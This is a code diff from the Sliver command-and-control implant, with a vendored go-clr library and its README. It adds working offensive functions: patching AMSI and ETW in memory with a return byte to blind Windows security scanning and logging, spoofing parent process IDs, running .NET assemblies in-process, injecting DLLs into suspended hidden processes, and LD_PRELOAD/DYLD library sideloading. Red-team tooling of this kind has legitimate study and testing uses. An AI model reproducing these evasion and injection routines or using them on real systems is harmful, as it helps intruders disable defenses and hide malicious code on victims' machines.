sliverpb.MsgRemoveServiceReq: removeService,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgExecuteTokenReq: executeTokenHandler,
|
||||
sliverpb.MsgGetPrivsReq: getPrivsHandler,
|
||||
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgProcessDumpReq: dumpHandler,
|
||||
sliverpb.MsgImpersonateReq: impersonateHandler,
|
||||
sliverpb.MsgRevToSelfReq: revToSelfHandler,
|
||||
sliverpb.MsgRunAsReq: runAsHandler,
|
||||
sliverpb.MsgInvokeGetSystemReq: getsystemHandler,
|
||||
sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
|
||||
sliverpb.MsgInvokeInProcExecuteAssemblyReq: inProcExecuteAssemblyHandler,
|
||||
sliverpb.MsgInvokeMigrateReq: migrateHandler,
|
||||
sliverpb.MsgSpawnDllReq: spawnDllHandler,
|
||||
sliverpb.MsgStartServiceReq: startService,
|
||||
sliverpb.MsgStopServiceReq: stopService,
|
||||
sliverpb.MsgRemoveServiceReq: removeService,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgExecuteWindowsReq: executeWindowsHandler,
|
||||
sliverpb.MsgGetPrivsReq: getPrivsHandler,
|
||||
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
|
||||
|
||||
// Platform specific
|
||||
sliverpb.MsgIfconfigReq: ifconfigHandler,
|
||||
@@ -225,7 +227,7 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
output, err := taskrunner.ExecuteAssembly(execReq.Data, execReq.Process)
|
||||
output, err := taskrunner.ExecuteAssembly(execReq.Data, execReq.Process, execReq.ProcessArgs, execReq.PPid)
|
||||
execAsm := &sliverpb.ExecuteAssembly{Output: []byte(output)}
|
||||
if err != nil {
|
||||
execAsm.Response = &commonpb.Response{
|
||||
@@ -237,7 +239,27 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
}
|
||||
|
||||
func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
func inProcExecuteAssemblyHandler(data []byte, resp RPCResponse) {
|
||||
execReq := &sliverpb.InvokeInProcExecuteAssemblyReq{}
|
||||
err := proto.Unmarshal(data, execReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
output, err := taskrunner.InProcExecuteAssembly(execReq.Data, execReq.Arguments, execReq.Runtime, execReq.AmsiBypass, execReq.EtwBypass)
|
||||
execAsm := &sliverpb.ExecuteAssembly{Output: []byte(output)}
|
||||
if err != nil {
|
||||
execAsm.Response = &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execAsm)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func executeWindowsHandler(data []byte, resp RPCResponse) {
|
||||
var (
|
||||
err error
|
||||
stdErr io.Writer
|
||||
@@ -245,7 +267,7 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
errWriter *bufio.Writer
|
||||
outWriter *bufio.Writer
|
||||
)
|
||||
execReq := &sliverpb.ExecuteReq{}
|
||||
execReq := &sliverpb.ExecuteWindowsReq{}
|
||||
err = proto.Unmarshal(data, execReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -258,8 +280,17 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
cmd := exec.Command(execReq.Path, execReq.Args...)
|
||||
|
||||
// Execute with current token
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{}
|
||||
if execReq.UseToken {
|
||||
cmd.SysProcAttr.Token = syscall.Token(priv.CurrentToken)
|
||||
}
|
||||
if execReq.PPid != 0 {
|
||||
err := spoof.SpoofParent(execReq.PPid, cmd)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("could not spoof parent PID: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
|
||||
if execReq.Output {
|
||||
@@ -374,7 +405,7 @@ func spawnDllHandler(data []byte, resp RPCResponse) {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("ProcName: %s\tOffset:%x\tArgs:%s\n", spawnReq.GetProcessName(), spawnReq.GetOffset(), spawnReq.GetArgs())
|
||||
//{{end}}
|
||||
result, err := taskrunner.SpawnDll(spawnReq.GetProcessName(), spawnReq.GetData(), spawnReq.GetOffset(), spawnReq.GetArgs(), spawnReq.Kill)
|
||||
result, err := taskrunner.SpawnDll(spawnReq.GetProcessName(), spawnReq.GetProcessArgs(), spawnReq.GetPPid(), spawnReq.GetData(), spawnReq.GetOffset(), spawnReq.GetArgs(), spawnReq.Kill)
|
||||
spawnResp := &sliverpb.SpawnDll{Result: result}
|
||||
if err != nil {
|
||||
spawnResp.Response = &commonpb.Response{
|
||||
|
||||
@@ -121,7 +121,7 @@ func sideloadHandler(data []byte, resp RPCResponse) {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
result, err := taskrunner.Sideload(sideloadReq.GetProcessName(), sideloadReq.GetData(), sideloadReq.GetArgs(), sideloadReq.Kill)
|
||||
result, err := taskrunner.Sideload(sideloadReq.GetProcessName(), sideloadReq.GetProcessArgs(), sideloadReq.GetPPid(), sideloadReq.GetData(), sideloadReq.GetArgs(), sideloadReq.Kill)
|
||||
errStr := ""
|
||||
if err != nil {
|
||||
errStr = err.Error()
|
||||
|
||||
@@ -458,8 +458,13 @@ func (p *NetConnPivot) write(message []byte) error {
|
||||
}
|
||||
|
||||
total := 0
|
||||
chunk := 1024
|
||||
for total < len(message) {
|
||||
n, err = p.conn.Write(message[total:])
|
||||
if total+chunk <= len(message) {
|
||||
n, err = p.conn.Write(message[total : total+chunk])
|
||||
} else {
|
||||
n, err = p.conn.Write(message[total:])
|
||||
}
|
||||
total += n
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -468,6 +473,7 @@ func (p *NetConnPivot) write(message []byte) error {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
package spoof
|
||||
@@ -0,0 +1,28 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package spoof
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
func SpoofParent(ppid uint32, cmd *exec.Cmd) error {
|
||||
parentHandle, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS|windows.PROCESS_DUP_HANDLE|windows.PROCESS_QUERY_INFORMATION, false, ppid)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("OpenProcess failed: %v\n", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
if cmd.SysProcAttr == nil {
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{}
|
||||
}
|
||||
cmd.SysProcAttr.ParentProcess = syscall.Handle(parentHandle)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package taskrunner
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"errors"
|
||||
"fmt"
|
||||
clr "github.com/Ne0nd0g/go-clr"
|
||||
"sync"
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var (
|
||||
clrInstance *CLRInstance
|
||||
assemblies []*assembly
|
||||
)
|
||||
|
||||
type assembly struct {
|
||||
methodInfo *clr.MethodInfo
|
||||
hash [32]byte
|
||||
}
|
||||
|
||||
type CLRInstance struct {
|
||||
runtimeHost *clr.ICORRuntimeHost
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func (c *CLRInstance) GetRuntimeHost(runtime string) *clr.ICORRuntimeHost {
|
||||
c.Lock()
|
||||
defer c.Unlock()
|
||||
if c.runtimeHost == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Initializing CLR runtime host")
|
||||
// {{end}}
|
||||
c.runtimeHost, _ = clr.LoadCLR(runtime)
|
||||
err := clr.RedirectStdoutStderr()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("could not redirect stdout/stderr: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
return c.runtimeHost
|
||||
}
|
||||
|
||||
func LoadAssembly(data []byte, assemblyArgs []string, runtime string) (string, error) {
|
||||
var (
|
||||
methodInfo *clr.MethodInfo
|
||||
err error
|
||||
)
|
||||
|
||||
rtHost := clrInstance.GetRuntimeHost(runtime)
|
||||
if rtHost == nil {
|
||||
return "", errors.New("Could not load CLR runtime host")
|
||||
}
|
||||
|
||||
if asm := getAssembly(data); asm != nil {
|
||||
methodInfo = asm.methodInfo
|
||||
} else {
|
||||
methodInfo, err = clr.LoadAssembly(rtHost, data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("could not load assembly: %v\n", err)
|
||||
// {{end}}
|
||||
return "", err
|
||||
}
|
||||
addAssembly(methodInfo, data)
|
||||
}
|
||||
if len(assemblyArgs) == 1 && assemblyArgs[0] == "" {
|
||||
// for methods like Main(String[] args), if we pass an empty string slice
|
||||
// the clr loader will not pass the argument and look for a method with
|
||||
// no arguments, which won't work
|
||||
assemblyArgs = []string{" "}
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Assembly loaded, methodInfo: %+v\n", methodInfo)
|
||||
log.Printf("Calling assembly with args: %+v\n", assemblyArgs)
|
||||
// {{end}}
|
||||
stdout, stderr := clr.InvokeAssembly(methodInfo, assemblyArgs)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Got output: %s\n%s\n", stdout, stderr)
|
||||
// {{end}}
|
||||
return fmt.Sprintf("%s\n%s", stdout, stderr), nil
|
||||
}
|
||||
|
||||
func addAssembly(methodInfo *clr.MethodInfo, data []byte) {
|
||||
asmHash := sha256.Sum256(data)
|
||||
asm := &assembly{methodInfo: methodInfo, hash: asmHash}
|
||||
assemblies = append(assemblies, asm)
|
||||
}
|
||||
|
||||
func getAssembly(data []byte) *assembly {
|
||||
asmHash := sha256.Sum256(data)
|
||||
for _, asm := range assemblies {
|
||||
if asm.hash == asmHash {
|
||||
return asm
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func init() {
|
||||
clrInstance = &CLRInstance{}
|
||||
assemblies = make([]*assembly, 0)
|
||||
}
|
||||
@@ -58,11 +58,12 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
}
|
||||
|
||||
// Sideload - Side load a library and return its output
|
||||
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
|
||||
var (
|
||||
stdOut bytes.Buffer
|
||||
stdErr bytes.Buffer
|
||||
wg sync.WaitGroup
|
||||
cmd *exec.Cmd
|
||||
)
|
||||
fdPath := fmt.Sprintf("/tmp/.%s", randomString(10))
|
||||
err := ioutil.WriteFile(fdPath, data, 0755)
|
||||
@@ -75,7 +76,11 @@ func Sideload(procName string, data []byte, args string, kill bool) (string, err
|
||||
fmt.Sprintf("DYLD_INSERT_LIBRARIES=%s", fdPath),
|
||||
}
|
||||
env = append(env, newEnv...)
|
||||
cmd := exec.Command(procName)
|
||||
if len(procArgs) > 0 {
|
||||
cmd = exec.Command(procName, procArgs...)
|
||||
} else {
|
||||
cmd = exec.Command(procName)
|
||||
}
|
||||
cmd.Env = env
|
||||
cmd.Stdout = &stdOut
|
||||
cmd.Stderr = &stdErr
|
||||
|
||||
@@ -56,12 +56,13 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
}
|
||||
|
||||
// Sideload - Side load a library and return its output
|
||||
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
|
||||
var (
|
||||
nrMemfdCreate int
|
||||
stdOut bytes.Buffer
|
||||
stdErr bytes.Buffer
|
||||
wg sync.WaitGroup
|
||||
cmd *exec.Cmd
|
||||
)
|
||||
memfdName := randomString(8)
|
||||
memfd, err := syscall.BytePtrFromString(memfdName)
|
||||
@@ -95,7 +96,11 @@ func Sideload(procName string, data []byte, args string, kill bool) (string, err
|
||||
fmt.Sprintf("LD_PRELOAD=%s", fdPath),
|
||||
}
|
||||
env = append(env, newEnv...)
|
||||
cmd := exec.Command(procName)
|
||||
if len(procArgs) > 0 {
|
||||
cmd = exec.Command(procName, procArgs...)
|
||||
} else {
|
||||
cmd = exec.Command(procName)
|
||||
}
|
||||
cmd.Env = env
|
||||
cmd.Stdout = &stdOut
|
||||
cmd.Stderr = &stdErr
|
||||
|
||||
@@ -31,6 +31,7 @@ import (
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/spoof"
|
||||
"syscall"
|
||||
// {{if .Config.Evasion}}
|
||||
"github.com/bishopfox/sliver/implant/sliver/evasion"
|
||||
@@ -199,12 +200,102 @@ func LocalTask(data []byte, rwxPages bool) error {
|
||||
return err
|
||||
}
|
||||
|
||||
func ExecuteAssembly(data []byte, process string) (string, error) {
|
||||
func patchAmsi() error {
|
||||
// load amsi.dll
|
||||
amsiDLL := windows.NewLazyDLL("amsi.dll")
|
||||
amsiScanBuffer := amsiDLL.NewProc("AmsiScanBuffer")
|
||||
amsiInitialize := amsiDLL.NewProc("AmsiInitialize")
|
||||
amsiScanString := amsiDLL.NewProc("AmsiScanString")
|
||||
|
||||
// patch
|
||||
amsiAddr := []uintptr{
|
||||
amsiScanBuffer.Addr(),
|
||||
amsiInitialize.Addr(),
|
||||
amsiScanString.Addr(),
|
||||
}
|
||||
patch := byte(0xC3)
|
||||
for _, addr := range amsiAddr {
|
||||
// skip if already patched
|
||||
if *(*byte)(unsafe.Pointer(addr)) != patch {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Patching AMSI")
|
||||
// {{end}}
|
||||
var oldProtect uint32
|
||||
err := windows.VirtualProtect(addr, 1, windows.PAGE_READWRITE, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
*(*byte)(unsafe.Pointer(addr)) = 0xC3
|
||||
err = windows.VirtualProtect(addr, 1, oldProtect, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect (restauring) failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func patchEtw() error {
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
etwEventWriteProc := ntdll.NewProc("EtwEventWrite")
|
||||
|
||||
// patch
|
||||
patch := byte(0xC3)
|
||||
// skip if already patched
|
||||
if *(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) != patch {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Patching ETW")
|
||||
// {{end}}
|
||||
var oldProtect uint32
|
||||
err := windows.VirtualProtect(etwEventWriteProc.Addr(), 1, windows.PAGE_READWRITE, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
*(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) = 0xC3
|
||||
err = windows.VirtualProtect(etwEventWriteProc.Addr(), 1, oldProtect, &oldProtect)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("VirtualProtect (restauring) failed:", err)
|
||||
//{{end}}
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func InProcExecuteAssembly(assemblyBytes []byte, assemblyArgs []string, runtime string, amsiBypass bool, etwBypass bool) (string, error) {
|
||||
if amsiBypass {
|
||||
err := patchAmsi()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
if etwBypass {
|
||||
err := patchEtw()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
return LoadAssembly(assemblyBytes, assemblyArgs, runtime)
|
||||
}
|
||||
|
||||
func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32) (string, error) {
|
||||
var (
|
||||
stdoutBuf, stderrBuf bytes.Buffer
|
||||
lpTargetHandle windows.Handle
|
||||
)
|
||||
cmd, err := startProcess(process, &stdoutBuf, &stderrBuf, true)
|
||||
cmd, err := startProcess(process, processArgs, ppid, &stdoutBuf, &stderrBuf, true)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("Could not start process:", process)
|
||||
@@ -252,7 +343,7 @@ func ExecuteAssembly(data []byte, process string) (string, error) {
|
||||
return stdoutBuf.String() + stderrBuf.String(), nil
|
||||
}
|
||||
|
||||
func SpawnDll(procName string, data []byte, offset uint32, args string, kill bool) (string, error) {
|
||||
func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, offset uint32, args string, kill bool) (string, error) {
|
||||
var lpTargetHandle windows.Handle
|
||||
err := refresh()
|
||||
if err != nil {
|
||||
@@ -261,7 +352,7 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
|
||||
var stdoutBuff bytes.Buffer
|
||||
var stderrBuff bytes.Buffer
|
||||
// 1 - Start process
|
||||
cmd, err := startProcess(procName, &stdoutBuff, &stderrBuff, true)
|
||||
cmd, err := startProcess(procName, processArgs, ppid, &stdoutBuff, &stderrBuff, true)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -327,9 +418,9 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
|
||||
return "", nil
|
||||
}
|
||||
|
||||
//SideLoad - Side load a binary as shellcode and returns its output
|
||||
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
|
||||
return SpawnDll(procName, data, 0, "", kill)
|
||||
// SideLoad - Side load a binary as shellcode and returns its output
|
||||
func Sideload(procName string, procArgs []string, ppid uint32, data []byte, args string, kill bool) (string, error) {
|
||||
return SpawnDll(procName, procArgs, ppid, data, 0, "", kill)
|
||||
}
|
||||
|
||||
// Util functions
|
||||
@@ -358,20 +449,30 @@ func refresh() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func startProcess(proc string, stdout *bytes.Buffer, stderr *bytes.Buffer, suspended bool) (*exec.Cmd, error) {
|
||||
cmd := exec.Command(proc)
|
||||
func startProcess(proc string, args []string, ppid uint32, stdout *bytes.Buffer, stderr *bytes.Buffer, suspended bool) (*exec.Cmd, error) {
|
||||
var cmd *exec.Cmd
|
||||
if len(args) > 0 {
|
||||
cmd = exec.Command(proc, args...)
|
||||
} else {
|
||||
cmd = exec.Command(proc)
|
||||
}
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(CurrentToken),
|
||||
Token: syscall.Token(CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
err := spoof.SpoofParent(ppid, cmd)
|
||||
if err != nil {
|
||||
// We couldn't spoof the parent, fail open and continue
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("could not spoof parent PID: %v\n", err)
|
||||
//{{end}}
|
||||
}
|
||||
cmd.Stdout = stdout
|
||||
cmd.Stderr = stderr
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
HideWindow: true,
|
||||
}
|
||||
if suspended {
|
||||
cmd.SysProcAttr.CreationFlags = windows.CREATE_SUSPENDED
|
||||
}
|
||||
err := cmd.Start()
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("Could not start process:", proc)
|
||||
|
||||
@@ -96,13 +96,13 @@ var (
|
||||
|
||||
// DNSOptions - c2 specific options
|
||||
type DNSOptions struct {
|
||||
QueryTimeout time.Duration
|
||||
RetryWait time.Duration
|
||||
RetryCount int
|
||||
MaxErrors int
|
||||
WokersPerResolver int
|
||||
ForceBase32 bool
|
||||
ForceResolvConf string
|
||||
QueryTimeout time.Duration
|
||||
RetryWait time.Duration
|
||||
RetryCount int
|
||||
MaxErrors int
|
||||
WorkersPerResolver int
|
||||
ForceBase32 bool
|
||||
ForceResolvConf string
|
||||
}
|
||||
|
||||
// ParseDNSOptions - Parse c2 specific options
|
||||
@@ -134,13 +134,13 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
|
||||
}
|
||||
|
||||
return &DNSOptions{
|
||||
QueryTimeout: queryTimeout,
|
||||
RetryWait: retryWait,
|
||||
RetryCount: retryCount,
|
||||
MaxErrors: maxErrors,
|
||||
WokersPerResolver: workersPerResolver,
|
||||
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
|
||||
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
|
||||
QueryTimeout: queryTimeout,
|
||||
RetryWait: retryWait,
|
||||
RetryCount: retryCount,
|
||||
MaxErrors: maxErrors,
|
||||
WorkersPerResolver: workersPerResolver,
|
||||
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
|
||||
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -171,7 +171,7 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
|
||||
retryCount: opts.RetryCount,
|
||||
closed: true,
|
||||
|
||||
WorkersPerResolver: opts.WokersPerResolver,
|
||||
WorkersPerResolver: opts.WorkersPerResolver,
|
||||
subdataSpace: 254 - len(parent) - (1 + (254-len(parent))/64),
|
||||
base32: encoders.Base32{},
|
||||
base58: encoders.Base58{},
|
||||
|
||||
@@ -46,10 +46,10 @@ var (
|
||||
parentMax = fmt.Sprintf(".%s.%s.%s.", strings.Repeat("a", 63), strings.Repeat("b", 63), strings.Repeat("c", 24))
|
||||
|
||||
opts = &DNSOptions{
|
||||
QueryTimeout: time.Duration(time.Second * 3),
|
||||
RetryWait: time.Duration(time.Second * 3),
|
||||
RetryCount: 1,
|
||||
WokersPerResolver: 1,
|
||||
QueryTimeout: time.Duration(time.Second * 3),
|
||||
RetryWait: time.Duration(time.Second * 3),
|
||||
RetryCount: 1,
|
||||
WorkersPerResolver: 1,
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@@ -59,7 +59,9 @@ func (c *Tunnel) IncWriteSequence() {
|
||||
// Close - close tunnel reader and writer
|
||||
func (c *Tunnel) Close() {
|
||||
for _, rc := range c.Readers {
|
||||
rc.Close()
|
||||
if rc != nil {
|
||||
rc.Close()
|
||||
}
|
||||
}
|
||||
c.Writer.Close()
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
.idea
|
||||
__handlers__
|
||||
*.exe
|
||||
*.dll
|
||||
*.cs
|
||||
scratch/
|
||||
static/
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
Version 2, December 2004
|
||||
|
||||
Copyright (C) 2004 Sam Hocevar <[email protected]>
|
||||
|
||||
Everyone is permitted to copy and distribute verbatim or modified
|
||||
copies of this license document, and changing it is allowed as long
|
||||
as the name is changed.
|
||||
|
||||
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. You just DO WHAT THE FUCK YOU WANT TO.
|
||||
+69
@@ -0,0 +1,69 @@
|
||||
# go-clr
|
||||
[](https://godoc.org/github.com/ropnop/go-clr)
|
||||
|
||||
This is my PoC code for hosting the CLR in a Go process and using it to execute a DLL from disk or an assembly from memory.
|
||||
|
||||
It's written in pure Go by just wrapping the needed syscalls and making use of a lot of unsafe.Pointers to
|
||||
load structs from memory.
|
||||
|
||||
For more info and references, see [this blog post](https://blog.ropnop.com/hosting-clr-in-golang/).
|
||||
|
||||
This was was a fun project and proof of concept, but the code is definitely not "production ready". It makes heavy use
|
||||
of `unsafe` and it's probably very unstable. I don't plan on supporting it much moving forward,
|
||||
but I wanted to share the code and knowledge to enable others to either contribute, or fork and make their own awesome tools.
|
||||
|
||||
## Installation and Usage
|
||||
`go-clr` is intended to be used as a package in other scripts. Install it with:
|
||||
```bash
|
||||
go get github.com/ropnop/go-clr
|
||||
```
|
||||
|
||||
Take a look at the [examples](./examples) folder for some examples on how to leverage it. The package exposes all the structs and methods
|
||||
necessary to customize, but it also includes two "magic" functions to execute .NET from Go: `ExecuteDLLFromDisk` and
|
||||
`ExecuteByteArray`. Here's a quick example of using both:
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
clr "github.com/ropnop/go-clr"
|
||||
"log"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func main() {
|
||||
fmt.Println("[+] Loading DLL from Disk")
|
||||
ret, err := clr.ExecuteDLLFromDisk(
|
||||
"TestDLL.dll",
|
||||
"TestDLL.HelloWorld",
|
||||
"SayHello",
|
||||
"foobar")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Printf("[+] DLL Return Code: %d\n", ret)
|
||||
|
||||
|
||||
fmt.Println("[+] Executing EXE from memory")
|
||||
exebytes, err := ioutil.ReadFile("helloworld.exe")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
runtime.KeepAlive(exebytes)
|
||||
|
||||
ret2, err := clr.ExecuteByteArray(exebytes)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Printf("[+] EXE Return Code: %d\n", ret2)
|
||||
}
|
||||
```
|
||||
|
||||
The other 2 examples show the same technique but without the magic functions.
|
||||
|
||||
### License
|
||||
This project is licensed under the [Do What the Fuck You Want to Public License](http://www.wtfpl.net/). I deliberately
|
||||
chose this "joke" license because I really don't think anyone should be using this for anything serious, and I know
|
||||
some organizations forbid this license from being used in products (which is a good thing).
|
||||
+212
@@ -0,0 +1,212 @@
|
||||
//go:build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// AppDomain is a Windows COM object interface pointer for the .NET AppDomain class.
|
||||
// The AppDomain object represents an application domain, which is an isolated environment where applications execute.
|
||||
// This structure only contains a pointer to the AppDomain's virtual function table
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
|
||||
type AppDomain struct {
|
||||
vtbl *AppDomainVtbl
|
||||
}
|
||||
|
||||
// AppDomainVtbl is a Virtual Function Table for the AppDomain COM interface
|
||||
// The Virtual Function Table contains pointers to the COM IUnkown interface
|
||||
// functions (QueryInterface, AddRef, & Release) as well as the AppDomain object's methods
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
|
||||
type AppDomainVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
GetTypeInfoCount uintptr
|
||||
GetTypeInfo uintptr
|
||||
GetIDsOfNames uintptr
|
||||
Invoke uintptr
|
||||
get_ToString uintptr
|
||||
Equals uintptr
|
||||
GetHashCode uintptr
|
||||
GetType uintptr
|
||||
InitializeLifetimeService uintptr
|
||||
GetLifetimeService uintptr
|
||||
get_Evidence uintptr
|
||||
add_DomainUnload uintptr
|
||||
remove_DomainUnload uintptr
|
||||
add_AssemblyLoad uintptr
|
||||
remove_AssemblyLoad uintptr
|
||||
add_ProcessExit uintptr
|
||||
remove_ProcessExit uintptr
|
||||
add_TypeResolve uintptr
|
||||
remove_TypeResolve uintptr
|
||||
add_ResourceResolve uintptr
|
||||
remove_ResourceResolve uintptr
|
||||
add_AssemblyResolve uintptr
|
||||
remove_AssemblyResolve uintptr
|
||||
add_UnhandledException uintptr
|
||||
remove_UnhandledException uintptr
|
||||
DefineDynamicAssembly uintptr
|
||||
DefineDynamicAssembly_2 uintptr
|
||||
DefineDynamicAssembly_3 uintptr
|
||||
DefineDynamicAssembly_4 uintptr
|
||||
DefineDynamicAssembly_5 uintptr
|
||||
DefineDynamicAssembly_6 uintptr
|
||||
DefineDynamicAssembly_7 uintptr
|
||||
DefineDynamicAssembly_8 uintptr
|
||||
DefineDynamicAssembly_9 uintptr
|
||||
CreateInstance uintptr
|
||||
CreateInstanceFrom uintptr
|
||||
CreateInstance_2 uintptr
|
||||
CreateInstanceFrom_2 uintptr
|
||||
CreateInstance_3 uintptr
|
||||
CreateInstanceFrom_3 uintptr
|
||||
Load uintptr
|
||||
Load_2 uintptr
|
||||
Load_3 uintptr
|
||||
Load_4 uintptr
|
||||
Load_5 uintptr
|
||||
Load_6 uintptr
|
||||
Load_7 uintptr
|
||||
ExecuteAssembly uintptr
|
